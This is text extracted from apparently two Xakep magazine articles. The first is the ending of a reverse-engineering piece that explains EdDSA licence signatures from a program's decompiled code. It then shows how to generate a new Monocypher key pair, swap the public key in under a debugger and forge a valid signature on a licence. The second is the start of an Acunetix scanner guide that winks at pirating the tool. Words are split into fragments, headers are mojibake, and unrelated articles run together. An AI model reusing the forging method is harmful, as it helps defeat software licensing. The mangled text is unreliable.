https://habr.com/ru/articles/269579/
https://habr.com/ru/articles/270753/
https://datatracker.ietf.org/doc/draft-ietf-lwig-curve-representations/
https://cr.yp.to/ecdh/curve25519-20060209.pdf


EDDSA
ИССЛЕДУЕМ КРИПТОПОДПИСЬ

И УЧИМСЯ С НЕЙ БОРОТЬСЯ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÅÎÐÈß

Об ратить ся к теории нам все-таки при дет ся. Для начала опре делим ся, что же
такое эллипти чес кая кри вая. Тем, кто не про читал науч ные опре деле ния
по при веден ным выше ссыл кам или про читал, но ничего не понял, даю полез- 
ный совет: забудь как минимум кар тинки, которые ты там видел. На самом
деле это никакая не эллипти чес кая и никакая не кри вая.

На прак тике это чудовищ но огромное, но конеч ное дис крет ное мно жес тво
точек, при чем мно жес тво упо рядо чен ное. Каж дая точ ка име ет два целочис- 
ленных парамет ра — коор динаты X и Y, фак тичес ки псев дослу чай ные, вычис- 
ляемые по очень слож ным фор мулам. Ты спро сишь: каким обра зом мно жес- 
тво упо рядо чено?

На нем опре дели ли опе рации сло жения точ ки со ска ляр ной кон стан той
и дру гой (или той же самой) точ кой. При чем через опе рацию сло жения
с самой собой опре деле на и опе рация умно жения. На этом мно жес тве так же
опре деле на базовая точ ка (которую называ ют B или, как боль ше любят жен- 
щины, точ ка G). Пос коль ку рас смат рива емое нами мно жес тво, называ емое
эллипти чес кой кри вой, зам кну то и огра ничен но, то через опре делен ное чис- 
ло шагов скла дыва ния с самой собой точ ка G перехо дит в себя же. То есть 

.

G 
= G * L

Вот это самое вол шебное чис ло L и называ ется поряд ком базовой точ ки
кри вой Эдвар дса, про вер ку на пре выше ние которо го мы наш ли в фун кции

. Все вычис ления в алго рит ме дела ются по модулю L, соот- 

ветс твен но, ска ляр ная кон стан та, пре выша ющая L, заведо мо оши боч на,
имен но поэто му и выпол няет ся про вер ка.

sub_1401161B0

Поп робую теперь наг лядно опи сать про цесс под писи лицен зии и ее про- 
вер ки при помощи алго рит ма EdDSA. Для прос тоты и удобс тва забудем пока
про реаль ные коор динаты X и Y каж дой точ ки и нарису ем мно жес тво E в виде
зам кну той эллипти чес кой кри вой. Изоб разим базовую точ ку G на ней. В этом
слу чае опе рации сло жения и умно жения точ ки на кри вой будут пред ста вимы
прос то в виде переме щения точ ки по кри вой на опре делен ное чис ло шагов.

Вы берем в качес тве зак рытого клю ча любое слу чай ное чис ло, мень шее
поряд ка кри вой , тог да откры тым (пуб личным) клю чом будет точ ка

A на кри вой, рав ная . Суть несим метрич ной крип тогра фии зак- 
люча ется в том, что ско рость обратной к умно жению опе рации прос то несо- 
изме римо ниже, чем само умно жение. То есть получить при ват ный ключ
из сек ретно го в нашей реали зации (32-бай товые или 256-бит ные опе ран ды)
мож но мгно вен но, а обратная задача на акту аль ном железе может счи тать ся
целую веч ность.

s < L
A = G * s

Вы берем теперь некое про изволь ное чис ло  (на самом деле не сов- 

сем про изволь ное: в раз ных реали заци ях его для пущей жес ти ста вят
в зависи мость от сек ретно го клю ча и даже от хеша под писыва емо го сооб- 
щения). Теперь соз дадим соот ветс тву ющую ему точ ку . Далее счи- 

таем хеш от под писыва емых дан ных (назовем его прос то HASH). Счи тать его
мож но как угод но, хеш-фун кция может быть про изволь ной, количес тво битов
хеша дол жно сос тавлять 512, хотя потом это зна чение все рав но нор миру- 
ется по модулю .

r < L

R = r * G

L
Имен но поэто му опре делен ное рас простра нение получи ла связ ка EdDSA

+ SHA-512, которую мы сей час и раз бира ем. Нес мотря на про изволь ность
реали зации, по канону положе но, что бы в хеширу емые дан ные обя затель но
вхо дил откры тый ключ (дво ичное пред став ление точ ки ) и дво ичное пред- 

став ление точ ки . Для чего это сде лано, ты, наде юсь, уже понял, поп робовав

поменять зна чение  в сиг натуре (а это и есть пер вые 32 бай та сиг натуры).

Вто рой полови ной сиг натуры будет чис ло . В общем, про- 
цесс под писи выг лядит при мер но так, как показа но на рисун ке, сиг натура
выделе на зеленым.

A
R

R
S = r + HASH * s

Поп робу ем теперь верифи циро вать получен ную под пись. Берем зна чение 

(вто рые 32 бай та сиг натуры) и умно жаем на базовую точ ку . Получа ем новую

точ ку , затем счи таем зна чение HASH выше опи сан ным обра зом, умно- 
жаем его на пуб личный ключ  и получа ем еще одну точ ку . А затем

прос то счи таем раз ность меж ду ними. Если верифи кация про ходит, дол жна
получить ся точ ка .

S
G

G * S
A A * HASH

R

В чем сек рет фокуса? Дело в том, что для при нятых на  опе раций сло жения

и умно жения, нес мотря на всю слож ность их реали зации, точ но так же выпол- 
няет ся рас пре дели тель ный закон: 

.

E

G * S – A * HASH = G * (r + HASH * 
s) – G * s * HASH = G * (r + HASH * s – HASH * s) = G * r = R

ÏÅÐÅÕÎÄÈÌ Ê ÏÐÀÊÒÈÊÅ

На деюсь, такого прос того объ ясне ния было дос таточ но для понима ния
теории, пос коль ку далее мы перей дем к суровой прак тике, а имен но к ана- 
лизу кода. Пос коль ку реали зация алго рит ма нас толь ко слож на, что при взгля- 
де на вос ста нов ленный псев докод даже самой прос той фун кции ста новит ся
жут ко, поп робу ем упростить себе задачу. Для начала най дем готовую реали- 
зацию EdDSA и по ана логии раз берем логику и струк туру алго рит ма.

Я счи таю самым под ходящим кан дидатом для срав нения про ект
. Если открыть 

и вос ста нов ленный IDA псев докод, то соз дает ся впе чат ление, что код ком- 
пилиро вал ся пря мо с них. Единс твен ная, но очень досад ная помеха —
в качес тве хеш-фун кции в нем исполь зует ся алго ритм , тоже доволь но
экзо тичес кий. Воз можно, я ког да-нибудь рас ска жу и о нем, но нам он не под- 
ходит, так как у нас исполь зует ся SHA-512.

Monocypher ис ходник реали зации матема тичес ких при мити вов

Blake2

На самом деле это не очень боль шая проб лема. Поп робу ем на при мере
кон крет ной сиг натуры про верить работос пособ ность реали зации
Monocypher для нашего слу чая. Вспом ним най ден ную нами ранее фун кцию
верифи кации сиг натуры  и запишем ее с уче том получен ных
зна ний:

sub_140118940

// Верификация сигнатуры, возвращает 0, если успешно, в противном 
случае 0xFFFFFFFF
// Примерный аналог — crypto_eddsa_check

   __int64 __fastcall sub_140118940(__int64 a1)

 // v5=SHA512(R || Public key || License)
        

 
(*(void (__fastcall **)(__int64, char *))(*(_QWORD *)a1 + 24i64))(

a1, v5);
   // Обрезает хеш v5 по модулю L, аналог crypto_eddsa_reduce
 sub_1401170F0((__int64)v5);
   // v4 = S, вторая половина сигнатуры
     sub_1401162C0(v4, a1 + 40, 8i64);
   // v3 = –A, где A — публичный ключ a1 + 104 
ge_frombytes_neg_vartime
        if ( (unsigned int)sub_140114FA0(v3, a1 + 104) ||
      // Если S > L, то сигнатура неверная is_above_l
      (unsigned int)sub_1401161B0(v4) )
    return 0xFFFFFFFFi64;
   // v3 = G * S – A * HASH
     sub_140114D30(v3, (__int64)v5, a1 + 40);
   // ge_tobytes — преобразование полученного результата из формата 
расширенных координат в обычный 32-байтовый для последующего 
сравнения с R
    sub_1401155E0(a1 + 104, v3);
   // Проверка точек на равенство crypto_verify32
    return sub_14000517D(a1 + 8);
}

Как видишь, реали зация верифи кации в нашей прог рамме хоть и ана логич- 
ная, но все-таки нем ного не такая, как в моносай феров ских фун кци ях. Давай
все же про верим сов мести мость этой реали зации с нашими хешами. Конеч- 
но, по-хороше му было бы логич ным прик рутить к Monocypher хеш-фун кцию
SHA-512 вмес то Blake2, но мы нем ного схал турим. Откро ем нашу прог рамму
в x64dbg и пос тавим точ ку оста нова сра зу пос ле вызова .
Получа ем нор мализо ван ное по  зна чение HASH:

sub_1401170F0
L

3A 8A 86 6E 84 C4 EC 81 5E 0E 77 EB 94 1C 8F 87 35 42 C6 36 64 63 56 
12 E3 A0 32 A9 79 95 DE 05 

Те перь у нас есть все зна чения для тес та: дела ем из них коротень кую тес- 
товую про цедур ку и встав ляем ее в Monocypher.

 void test()
{
       

 

u8 public_key[32] = { 0x8F,0xEE,0xEB,0xD8,0x76,0x69,0x7A,0xD5,
0x37,0xD4,0x47,0xC7,0x3B,0xBC,0x37,0xC8,0x35,0x63,0x1C,0x93,0xA5,0x0C
,0x9F,0x2C,0x55,0x2A,0x01,0x22,0x18,0x7C,0x4E,0x5B };

       u8 h[32] = { 0x3A,0x8A,0x86,0x6E,0x84,0xC4,0xEC,0x81,0x5E,0x0E,
0x77,0xEB,0x94,0x1C,0x8F,0x87,0x35,0x42,0xC6,0x36,0x64,0x63,0x56,0x12
,0xE3,0xA0,0x32,0xA9,0x79,0x95,0xDE,0x05};
       u8 signature[64] = { 0xF8,0xBF,0xBA,0xE3,0x73,0xE5,0xAC,0x75,0x3F
,0x38,0xAC,0xDA,0xF2,0x0C,0x42,0xB1,

 

       0x80,0x0C,0x18,0xA0,0xBF,0x92,0x8F,0x39,0x5C,0xB1,0xA1,0x8E,
0x2E,0xE7,0x47,0x62,0xF1,0x3A,0xE7,0x94,0x2A,0x5F,0x61,0x6D,0x97,0x5F
,0x76,0x5B,0xFD,0x82,0xB6,0x58,0xA0,0xD7,0x4C,0x07,0x3B,0x7E,0x61,
0xA1,0xB3,0x85,0x75,0x62,0x93,0x94,0x90,0x06 };

      return crypto_eddsa_check_equation(signature, public_key, h);
}

Тест про ходит пре вос ходно, и это хорошо — ведь мы, по сути, не име ем
ни малей шего пред став ления, как была сге нери рова на под пись из нашей
прог раммы. Тем не менее под пись прош ла верифи кацию, а зна чит,
Monocypher мож но зас тавить работать и для генера ции сво ей собс твен ной
под писи. Давай про верим и эту гипоте зу.

Сна чала поп робу ем сге нери ровать новые клю чи для EdDSA. Для это го
выбира ем сек ретный ключ, как про изволь ное зна чение

 — слу чай но выб ранная соль генера тора. Что- 

бы не замора чивать ся, сде лаем его вооб ще нулевым:

crypto_eddsa_key_pair seed

    u8 seed[32] = { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
,0,0,0,0,0};

  crypto_eddsa_key_pair(secret_key, public_key, seed);

Име ем на выходе:

Ïóá ëè÷íûé êëþ÷
19 d3 d9 19 47 5d ee d4 69 6b 5d 13 01 81 51 d1
af 88 b2 bd 3b cf f0 48 b4 50 31 c1 f3 6d 18 58

Ñåê ðåòíûé êëþ÷
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
19 d3 d9 19 47 5d ee d4 69 6b 5d 13 01 81 51 d1
af 88 b2 bd 3b cf f0 48 b4 50 31 c1 f3 6d 18 58

Как видишь, фор мат хра нения сек ретно го клю ча у Monocypher вооб ще хал- 
турный — хра нит ся толь ко соль от него и сге нери рован ный пуб личный ключ.
Во вре мя всех опе раций с сек ретным клю чом он тупо вос ста нав лива ется
из соли, но нам как-то пофиг: все рав но сек ретный ключ даль ше это го тес- 
тового кода не пой дет. Теперь поп робу ем под писать получен ным клю чом
новую лицен зию. Для это го вос поль зуем ся кодом про цеду ры

:crypto_eddsa_sign

// secret_key — только что сгенерированный секретный ключ
      void crypto_eddsa_sign(u8 signature [64], const u8 secret_key[64],

                       // Совершенно любое сообщение любой длины, 
по сути, оно требуется нам чисто как соль для r

                          const u8 *message, size_t message_size)
{
      u8 a[64]; // secret scalar and prefix
      u8 r[32]; // secret deterministic "random" nonce
      u8 h[32]; // publically verifiable hash of the message (not 
wiped)
      u8 R[32]; // first half of the signature (allows overlapping 
inputs)

      crypto_blake2b(a, 64, secret_key, 32);
    crypto_eddsa_trim_scalar(a, a);
           hash_reduce(r, a + 32, 32, message, message_size, 0, 0);
    crypto_eddsa_scalarbase(R, r);
   // Вот в этом месте тормозим отладчиком исполнение и смотрим 
полученные значения r и R
           hash_reduce(h, R, 32, secret_key + 32, 32, message, message_size)
;
     COPY(signature, R, 32);
        crypto_eddsa_mul_add(signature + 32, h, a, r);

   WIPE_BUFFER(a);
   WIPE_BUFFER(r);
}

Пос ле вызова  мы име ем сле дующее:crypto_eddsa_scalarbase

R
07 e9 25 9e 9c d4 2d 1a 7c 61 69 54 00 71 b6 47
ff b7 b9 c8 ee d7 06 8b 76 bf 14 5b 6e 22 f0 28

...и соот ветс тву ющий ему :r

ec cf 58 70 79 3d f9 ab a3 22 19 8e 8c bb 66 72
38 0d 69 1e f2 2e f8 18 a7 39 fd 22 fb 1a 78 06

Те перь нам пред сто ит сно ва перес читать хеш, но уже на осно ве исправ- 
ленных  и пуб лично го клю ча. Сно ва запус каем x64dbg, меня ем пер вую

полови ну сиг натуры на , а ста рый пуб личный ключ — на све жес генери рован- 

ный. Затем оста нав лива емся на точ ке оста нова вызова 
и получа ем новое зна чение HASH:

R
R

sub_1401170F0

5F DF 27 01 E9 8D C6 40 B7 A0 2F BD 2B 66 FF F5 1E A4 9D 19 58 8B EF 
F3 8E 8E 1D 99 52 00 F8 07 

За ходим обратно в  и под став ляем зна чение нового хеша
вмес то :

monocypher.c
hash_reduce

      void crypto_eddsa_sign(u8 signature [64], const u8 secret_key[64],
                          const u8 *message, size_t message_size)

{
      u8 a[64]; // secret scalar and prefix
      u8 r[32]; // secret deterministic "random" nonce
       

 

u8 h[32] = { 0x5F,0xDF,0x27,0x01,0xE9,0x8D,0xC6,0x40,0xB7,0xA0,
0x2F,0xBD,0x2B,0x66,0xFF,0xF5,0x1E,0xA4,0x9D,0x19,0x58,0x8B,0xEF,0xF3
,0x8E,0x8E,0x1D,0x99,0x52,0x00,0xF8,0x07 };

      u8 R[32]; // first half of the signature (allows overlapping 
inputs)

      crypto_blake2b(a, 64, secret_key, 32);
    crypto_eddsa_trim_scalar(a, a);
           hash_reduce(r, a + 32, 32, message, message_size, 0, 0);
    crypto_eddsa_scalarbase(R, r);
//  hash_reduce(h, R, 32, secret_key + 32, 32, message, message_size)
;
     COPY(signature, R, 32);
        crypto_eddsa_mul_add(signature + 32, h, a, r);

   WIPE_BUFFER(a);
   WIPE_BUFFER(r);
}

На выходе получа ем пол ное зна чение сиг натуры перепод писан ной новым
клю чом лицен зии:

07 e9 25 9e 9c d4 2d 1a 7c 61 69 54 00 71 b6 47
ff b7 b9 c8 ee d7 06 8b 76 bf 14 5b 6e 22 f0 28
a5 9c c9 16 19 78 19 cf 69 c5 65 66 9b e3 c8 3c
03 b0 96 8d 07 a1 e8 80 3d fb e7 3e c6 47 be 02

ÂÛÂÎÄÛ

Как видишь, мы научи лись при помощи прос того модуля Monocypher,
написан ного на C, не толь ко под писывать свои дан ные сиг натурой EdDSA,
но и перепод писывать чужие. Конеч но, я понимаю, что крат кость статьи
не поз воля ет охва тить мно жес тво важ ных и инте рес ных момен тов исполь- 
зования EdDSA: исто рию соз дания, раз личия и пре иму щес тва по срав нению
с обыч ным EcDSA, осо бен ности генера ции клю чей и циф ровой под писи, быс- 
трую реали зацию матема тичес ких при мити вов на эллипти чес кой кри вой
и мно гое дру гое. Если рас ска зывать обо всем этом, то матери ала хва тит
на целую кни гу, но цели написать кни гу у меня нет. Я наде юсь, что пре дос- 
тавил дос таточ но ссы лок на матери алы, с помощью которых любоз натель ный
и пыт ливый читатель смо жет най ти любую инте ресу ющую его информа цию
об этой тех нологии.

https://monocypher.org/
https://monocypher.org/download/monocypher.c
https://www.blake2.net/
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ВЗЛОМ

Ав томати чес кие ска неры уяз вимос тей —
очень полез ный инс тру мент как для пен- 
тесте ров, так и для DevSecOps. Сегод ня я
рас ска жу о том, как исполь зовать на прак- 
тике один из самых извес тных ска неров —
Acunetix.

Пер вое, что я хочу ска зать, — не сто ит излишне полагать ся на авто мати чес- 
кий ска нер уяз вимос тей как на уни вер саль ный инс тру мент. Ког да я вел уро ки
или кон суль тировал коман ды как незави симый спе циалист, я обыч но говорил,
что ска неры — это ору жие отча яния для ред-тимеров и необ ходимый инс тру- 
мент для DevSecOps.

Од нако с тех пор я нес коль ко перес мотрел свою точ ку зре ния. Теперь я
счи таю, что ска неры уяз вимос тей — это необ ходимый минимум и для red
team, который полез но исполь зовать во вре мя или сра зу пос ле раз ведки
либо, если угод но, для рас ширения повер хнос ти ата ки. Ведь руками до все го
дотянуть ся доволь но-таки слож но, если вооб ще воз можно. Так вот,
Acunetix — мой фаворит в этих воп росах. Он доволь но быс трый, дос таточ но
умный и гиб кий для того, что бы зак рыть эту пот ребность.

INFO

 —
это ком мерчес кий инс тру мент от ком пании Invicti
для авто мати чес кого ска ниро вания веб-при ложе- 
ний на уяз вимос ти. Он про веря ет веб-сай ты
на наличие раз личных типов уяз вимос тей, таких
как SQL-инъ екции, XSS (меж сай товый скрип тинг)
и дру гие угро зы, которые могут быть исполь- 
зованы зло умыш ленни ками. WVS пре дос тавля ет
отче ты о най ден ных уяз вимос тях и рекомен дации
по их устра нению, что помога ет орга низа циям
защитить свои веб-при ложе ния и дан ные от атак.

Acunetix WVS (Web Vulnerability Scanner)

Инс тру мент этот доволь но слож ный, поэто му мы рас смот рим толь ко
основные его фун кции, что бы оце нить воз можнос ти прог раммы.

ÓÑÒÀÍÎÂÊÀ

Инс тру мент этот ком мерчес кий и, разуме ется, плат ный, но я уве рен, что
читате ли «Хакера» зна ют, что с этим делать. Что каса ется про цес са уста нов- 
ки, то он мало отли чает ся от инстал ляции дру гих прог рамм. Уста нови ли,
запус тили, акти виро вали. Есть вер сии Acunetix WVS как под Windows, так
и под Linux, так что про тес тировать этот ска нер смо гут поль зовате ли обе их
этих опе раци онных сис тем.

ÂÕÎÄ Â ÑÊÀÍÅÐ È ÐÀÇÄÅËÛ

Пос ле уста нов ки Acunetix откро ем бра узер и перей дем по адре су 

 — интерфейс ска нера реали зован в виде веб-при ложе ния.
Прог рамма пред ложит тебе вой ти в сис тему с исполь зовани ем учет ной
записи. На глав ной стра нице Acunetix показа ны общие дан ные, вро де чис ла
выпол ненных ска ниро ваний, количес тва най ден ных уяз вимос тей и их типов.

http://
localhost:3443

В глав ном окне нес коль ко клю чевых раз делов:
1. : здесь отоб ража ется общая информа- 

ция о текущем сос тоянии сис темы, вклю чая резуль таты пос ледних ска- 
ниро ваний и спи сок клю чевых уяз вимос тей.

Overview (ïàíåëü óïðàâëå íèÿ)

2. : раз дел для добав ления целей, которые ты пла ниру ешь
ска ниро вать, и управле ния ими.
Targets (öåëè)

3. : здесь ты можешь запус кать новые ска ниро вания

и отсле живать ста тус текущих задач.

Scans (ñêà íèðî âàíèÿ)

4. : раз дел для прос мотра отче тов о про веден ных ска- 
ниро вани ях. Этот раз дел содер жит информа цию, которую мож но пре дос- 
тавить в качес тве резуль татов кли енту или руководс тву.

Reports (îò÷å òû)

5. : кон фигура ция парамет ров сис темы, вклю чая нас- 
трой ку интегра ций с дру гими инс тру мен тами, такими как CI/CD, и управле- 
ние поль зовате лями.

Settings (íàñ òðîé êè)

6. : управле ние учет ными запися ми и пра вами дос- 
тупа. Мож но соз дать нес коль ких поль зовате лей с раз ными уров нями дос- 
тупа.

Users (ïîëü çîâàòå ëè)

7. : нас трой ки интегра ции с раз личны ми
веб-фай рво лами для авто мати чес кой защиты от най ден ных уяз вимос тей.
То есть Acunetix может авто мати чес ки исправ лять пра вила у WAF.

WAFs (Web Application Firewalls)

8. : нас трой ка прок си-сер вера,
который будет исполь зовать ся для ска ниро вания. Эта фун кция полез на,
если ты работа ешь в зак рытой сети, или, нап ример, для ано ними зации
тра фика. Так же мож но исполь зовать прок си, если тебе необ ходимо выб- 
рать опре делен ную геоло кацию или под сеть.

Proxy Settings (íàñ òðîé êè ïðîê ñè)

ÍÀÑÒÐÎÉÊÀ ÑÊÀÍÈÐÎÂÀÍÈß

Нас трой ка парамет ров ска ниро вания в Acunetix весь ма муд реная. Одна ко
для ред-тимера или пен тесте ра важ ны толь ко раз делы Targets и Scans, так
как они отве чают за про цесс поис ка уяз вимос тей, поз воля ют добав лять
новые цели и быс тро запус кать ска ниро вание с уче том спе цифи ки тес тиру- 
емых при ложе ний.

В раз деле Targets зада ется спи сок целей, в Scans — спи сок ска ниро вания.
Обыч ный алго ритм исполь зования Acunetix доволь но прост: соз дать цель,
запус тить ска ниро вание, пос мотреть резуль тат. Всё.

Единс твен ное, что пута ет, — так это кноп ка New Scan, при нажатии
на которую нас переки дыва ет в раз дел Scans, где вооб ще нет никаких при- 
выч ных кон фигура ций. А дело тут в том, что сна чала нуж но добавить цель,
а уже затем запус кать ска ниро вание.

Äîáàâëåíèå öåëè (Target)
• Пе рехо дим в раз дел Targets и нажима ем Add Targets.
• Вво дим URL домена или IP-адрес веб-при ложе ния, которое ты хочешь

прос каниро вать. Если нуж но ввес ти сра зу нес коль ко целей, нажима ем Add
another Target столь ко раз, сколь ко целей мы хотим добавить.

• Оп циональ но: нас тро им парамет ры цели, такие как путь к кон крет ным
ресур сам или огра ниче ние ска ниро вания по под доменам. Мож но задать
пол ный URL для опре делен ной дирек тории, где лежит веб-при ложе ние,
а не ска ниро вать весь домен целиком.

• На жима ем на фиоле товую кноп ку Save в пра вом вер хнем углу.

Íàñòðîéêà öåëè (Target Settings)
Пос ле добав ления цели мож но нас тро ить допол нитель ные парамет ры дос- 
тупа к ней, вклю чая аутен тифика цию, если она тре бует ся для дос тупа
к защищен ным стра ницам. Мож но так же нас тро ить пов торение какой-то пос- 
ледова тель нос ти дей ствий на стра нице (щел чки мышью, ввод в поля форм,
нажатие кно пок). Что бы под сунуть прог рамме свои куки, исполь зуй раз дел
Advanced — Custom Cookies. В Advanced мож но так же задать и кас томные
заголов ки.

Раз дел Scan Speed дает воз можность ука зать ско рость и количес тво
потоков ска ниро вания. Фун кция Import les → API denitions поз воля ет под- 
клю чить API-биб лиоте ку, и тог да ска нер заод но выпол нит и про вер ку API.

В этом раз деле очень мно го нас тро ек, но я опи сываю лишь те, которые
необ ходимы для ска ниро вания или полез ны с точ ки зре ния пен теста. Боль- 
шинс тво пред став ленных тут фун кций пред назна чены для кор поратив ного
сег мента и DevSecOps. Нап ример, фун кция Scan Engine в кон тек сте Acunetix
отно сит ся к выбору опре делен ного сер вера ска ниро вания, на котором
выпол няют ся задачи поис ка уяз вимос тей. В кор поратив ной вер сии Acunetix
может исполь зовать нес коль ко сер веров для ска ниро вания, и Scan Engine
поз воля ет выб рать, какой из этих сер веров будет задей ство ван для кон крет- 
ной цели. Это полез но для рас пре деле ния наг рузки и управле ния ска ниро- 
вани ем в сре дах с высокой плот ностью веб-при ложе ний или в сетях с нес- 
коль кими реги ональ ными сер верами ска ниро вания.

Site Login
Раз дел Site Login на вклад ке Target Settings пред назна чен для нас трой ки
аутен тифика ции на веб-сай тах, которые тре буют вхо да в сис тему для дос тупа
к защищен ным стра ницам. В этом раз деле мож но ука зать учет ные дан ные
(логин и пароль) для авто мати чес кого вхо да ска нера на сайт. Так же здесь
нас тра ивает ся тип аутен тифика ции (прос тая фор ма, HTTP-аутен тифика ция,
сес сии с cookies) или зада ется OAuth, то есть мож но ука зать парамет ры
для аутен тифика ции через сто рон ние сер висы, такие как Google.

Есть клас сная фун кция Try to auto-login into the site, поз воля ющая ввес ти
извес тные кред сы, но по какой-то при чине толь ко одну пару, а не целый сло- 
варь. В про цес се ска ниро вания Acunetix будет про бовать вво дить их в раз ные
фор мы для авто риза ции.

Так же мож но исполь зовать пред записан ные сце нарии авто риза ции, pre-
recorded login sequence. Это такой встро енный «Selenium» с под дер жкой
импорта его скрип тов.

INFO

 — это популяр ный инс тру мент
для авто мати зации вза имо дей ствия с бра узе ром.
Он поз воля ет авто мати зиро вать вза имо дей ствие
с веб-при ложе ниями, ими тируя дей ствия поль- 
зовате ля, такие как щел чки мышью, ввод дан ных
в фор мы, навига ция по стра ницам. Selenium час- 
то исполь зует ся для тес тирова ния веб-при ложе- 
ний, что бы убе дить ся, что они работа ют пра виль- 
но. Так же он под держи вает написа ние тес тов
на раз личных язы ках прог рамми рова ния (нап- 
ример, Python, Java, C#) и может работать с раз- 
ными бра узе рами — Chrome, Firefox и дру гими.

Selenium

Тех нология, похожая на упро щен ный Selenium, исполь зует ся в Acunetix
для записи слож ных сце нари ев вза имо дей ствия с веб-при ложе ниями
и называ ется . Этот инс тру мент поз- 

воля ет записы вать сце нарии аутен тифика ции или логичес ких шагов, таких
как запол нение форм, перехо ды по стра ницам и дру гие вза имо дей ствия
с при ложе нием, которые мож но затем вос про извести в про цес се ска ниро- 
вания. Как и Selenium, он авто мати зиру ет дей ствия поль зовате ля в бра узе ре,
но ори енти рован на ими тацию дей ствий в самом при ложе нии.

Acunetix Login Sequence Recorder

Business Logic Recorder
 — это ана логич ный инс тру мент авто мати зации,

который поз воля ет записы вать слож ные сце нарии аутен тифика ции и вза имо- 
дей ствия с веб-при ложе ниями. В Acunetix этот инс тру мент исполь зует ся
для соз дания пошаго вых скрип тов для работы с при ложе нием, вклю чая такие
дей ствия, как щел чки мышью в опре делен ных мес тах, перехо ды по стра- 
ницам, запол нение форм и дру гие дей ствия, которые могут вызывать слож- 
ности сво ей «мно гоэтап ностью».

Business Logic Recorder

За тем эти сце нарии могут быть вос про изве дены во вре мя ска ниро вания,
что поз воля ет совер шать какие-то допол нитель ные дей ствия. Нап ример, экс-
плу ати ровать мно гос тупен чатые уяз вимос ти или тес тировать динами чес кие
веб-при ложе ния, которые тре буют более слож ного вза имо дей ствия, чем
прос то ввод логина и пароля.

Ра бота ет эта тех нология прос то: откры вает ся фор ма, в которой отоб ража- 
ется подобие бра узе ра. «Нак ликива ем» в ней все, что нам тре бует ся, выс- 
тавля ем тайм-ауты событий и нажима ем «Сох ранить». Получа ется сво еоб- 
разный мак рос с записан ными дей стви ями, который будет задей ство ван
во вре мя ска ниро вания.

Advanced — HTTP
Раз дел HTTP на вклад ке Target Settings поз воля ет нас тро ить парамет ры
HTTP-зап росов, которые исполь зуют ся при ска ниро вании веб-при ложе ния.
Здесь содер жатся сле дующие нас трой ки:
1. HTTP Authentication: исполь зует ся для нас трой ки базовой или NTLM-аутен- 

тифика ции. Эта фун кция поз воля ет ска неру вхо дить, нап ример, на внут- 
ренние ресур сы, которые тре буют аутен тифика ции через HTTP-заголов ки,
пре дос тавляя необ ходимые учет ные дан ные (имя поль зовате ля и пароль).
Под держи вает ся NTLM и Kerberos.

2. Под клю чить SSL-сер тификат: тут мож но под клю чить пер сональ ный SSL-
сер тификат, если в этом есть необ ходимость.

3. Нас тро ить прок си: если тре бует ся исполь зовать прок си-сер вер для ска- 
ниро вания, здесь мож но задать соот ветс тву ющие парамет ры.

Эти нас трой ки помога ют скон фигури ровать ска нер под те или иные спе цифи- 
чес кие усло вия.

Íàñòðîéêè ïðè ñòàðòå
Все, что нуж но, мы нас тро или, теперь прис тупим к самому ска ниро ванию.
Пос ле добав ления нес коль ких целей надо перей ти в раз дел Targets, выб рать
нуж ные цели из спис ка (мож но сра зу нес коль ко) и запус тить ска ниро вание
нажати ем на кноп ку Scan в пра вом вер хнем углу окна прог раммы. Прог рамма
пред ложит ука зать интенсив ность и про филь ска ниро вания. Мож но исполь- 
зовать нас трой ки по умол чанию, не вни кая. Из любопыт ного здесь толь ко
выбор про филя ска ниро вания — так получит ся сущес твен но сок ратить вре мя
работы ска нера, сос редото чив шись на чем-то одном, нап ример исклю- 
читель но на SQLi.

Перед запус ком выбери про филь ска ниро вания (нап ример, Full Scan
или Critical / High Risk), который опре деля ет глу бину и типы тес тов.

•

Мож но так же нас тро ить Custom Scan, выб рав спе цифи чес кие про вер ки
или исклю чив ненуж ные тес ты.

•

На жима ем кноп ку Create Scans, что бы запус тить ска ниро вание.

ÝÊÐÀÍ ÑÊÀÍÈÐÎÂÀÍÈß

На этом экра не соб рана вся информа ция о том, что имен но ска нер обна- 
ружил. Экран хода ска ниро вания в Acunetix дос таточ но прост и понятен инту- 
итив но. Здесь пред став лены сле дующие све дения:
1. : показы вает ход текуще го ска ниро вания,

вклю чая эта пы тес тирова ния.

Ïðîã ðåññ ñêà íèðî âàíèÿ

2. : в реаль ном вре мени отоб ража ются
и обновля ются най ден ные уяз вимос ти, сгруп пирован ные по клас су и сте- 
пени рис ка (низ кий, сред ний, высокий).

Îá íàðóæåí íûå óÿç âèìîñ òè

3. : поз воля ет прос мотреть

струк туру сай та.

Ñòðóê òóðà ñàé òà (âêëàä êà Site Structure)

4. : сок ращен ный лог дей ствий ска нера, где фик сиру ются

все выпол няемые шаги и тес ты. Для прос мотра пол ной вер сии жур нала
мож но перей ти на вклад ку Events.

Æóð íàë ñîáûòèé

5. : кноп ки, рас положен ные свер ху в пра вой час ти, дают

воз можность при оста новить или оста новить ска ниро вание.

Ïà óçà è îñòà íîâ êà

Эти фун кции поз воля ют управлять про цес сом ска ниро вания в реаль ном вре- 
мени, обес печивая кон троль над его ходом и резуль татами.

Âêëàäêà Vulnerabilities
Вклад ка Vulnerabilities на экра не хода ска ниро вания в Acunetix самая важ ная,
пос коль ку отоб ража ет все обна ружен ные уяз вимос ти в реаль ном вре мени.
Она содер жит сле дующие дан ные:
1. : все най ден ные уяз вимос ти, сгруп пирован ные

по уров ню рис ка (кри тичес кий, высокий, сред ний, низ кий).

Ñïè ñîê óÿç âèìîñ òåé

2. : под робное опи сание каж дой уяз вимос ти, вклю- 

чающее потен циаль ные пос ледс твия и рекомен дации по устра нению.

Äå òàëè óÿç âèìîñ òåé

Эта вклад ка поз воля ет деталь но изу чить най ден ные уяз вимос ти, содер жит
детали вро де хедера, при вед шего к уяз вимос ти, и отве та сер вера, под- 
твержда юще го уяз вимость.

По пасть в этот раз дел мож но и со стра ницы ска ниро вания опре делен ной
цели либо из обще го раз дела Scans: для это го нуж но нажать на отоб ража- 
емый показа тель условно го «уров ня опас ности», сог ласно которо му выпол- 
няет ся сор тиров ка по катего риям в Acunetix, далее нажать на количес тво най- 
ден ных уяз вимос тей опре делен ного клас са. Так, на скрин шоте выше показа- 
ны толь ко уяз вимос ти клас са Medium.

Для получе ния деталей нуж но выб рать кон крет ную най ден ную уяз вимость.
